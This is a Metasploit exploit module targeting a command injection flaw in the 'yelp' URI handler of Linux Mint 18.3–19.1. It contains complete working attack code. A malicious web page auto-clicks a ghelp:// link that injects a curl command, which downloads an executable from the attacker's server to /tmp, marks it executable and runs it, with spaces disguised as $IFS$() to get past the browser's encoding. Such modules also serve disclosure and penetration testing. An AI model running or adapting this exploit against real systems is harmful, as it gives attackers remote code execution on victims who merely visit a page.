Linux Mint 18.3-19.1 – ‘yelp’ Command Injection (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework # Exploit from github repro: https://github.com/b1ack0wl/linux_mint_poc ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "Linux Mint 'yelp' URI handler command injection vulnerability", 'Description' => %q{ This module exploits a vulnerability within the "ghelp", "help" and "man" URI handlers within Linux Mint's "ubuntu-system-adjustments" package. Invoking any one the URI handlers will call the python script "/usr/local/bin/yelp" with the contents of the supplied URI handler as its argument. The script will then search for the strings "gnome-help" or "ubuntu-help" and if doesn't find either of them it'll then execute os.system("/usr/bin/yelp %s" % args). User interaction is required to exploit this vulnerability. }, 'License' => MSF_LICENSE, 'Author' => [ 'b1ack0wl' # vuln discovery and exploit dev ], 'Payload' => { 'DisableNops' => true }, 'DefaultOptions' => { 'WfsDelay' => 60 }, 'Platform' => 'linux', 'Targets' => [ [ 'Linux Mint 18.3 and 19.1', { 'Arch' => ARCH_X64 } ] ], 'Privileged' => false, 'DefaultTarget' => 0)) end def generate_exploit_html() if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") srv_host = datastore['LHOST'] else srv_host = datastore['SRVHOST'] end @filename = rand_text_alpha(4) cmd_inj = "curl http://#{srv_host}:#{datastore['SRVPORT']}/#{@service_path} -o /tmp/#{@filename};chmod 777 /tmp/#{@filename};/tmp/#{@filename} &".gsub(' ','$IFS$()') # Cheap way to add spaces since chrome percent encodes spaces (%20). html = %Q| <html> <head> <meta content="text/html;charset=utf-8" http-equiv="Content-Type"> <meta content="utf-8" http-equiv="encoding"> <title>paparoachfanclubdotcom</title> </head> <body> <script> lmao = document.createElement('a'); lmao.href= "ghelp://$(#{cmd_inj})"; document.body.appendChild(lmao); /* Needed to work with Firefox */ lmao.click(); </script> </body> </html> | return html end def on_request_uri(cli, request) agent = request.headers['User-Agent'] if agent =~ /curl\/\d/ # Command has been executed. Serve up the payload exe_payload = generate_payload_exe() print_status("Sending payload...") send_response(cli, exe_payload) register_file_for_cleanup("/tmp/#{@filename}") return else html = generate_exploit_html() print_status("Sending HTML...") send_response(cli, html, {'Content-Type'=>'text/html'}) end end end |